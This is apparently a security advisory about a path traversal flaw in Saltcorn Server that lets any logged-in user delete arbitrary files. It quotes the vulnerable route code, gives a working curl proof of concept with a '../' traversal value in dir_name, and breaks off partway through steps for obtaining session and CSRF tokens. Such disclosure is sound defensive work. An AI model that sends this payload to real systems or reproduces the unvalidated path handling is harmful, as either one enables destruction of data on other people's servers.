Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

• create a file in a folder different from where the server is started:

touch /tmp/secret
cat /tmp/secret

• log with a user and retrieve valid connect.sid and _csrf values***
• send the following curl request

curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'

• check if the file previously created does not exist anymore:

cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:

• log in
• open the browser developer console, go to the tab filter for request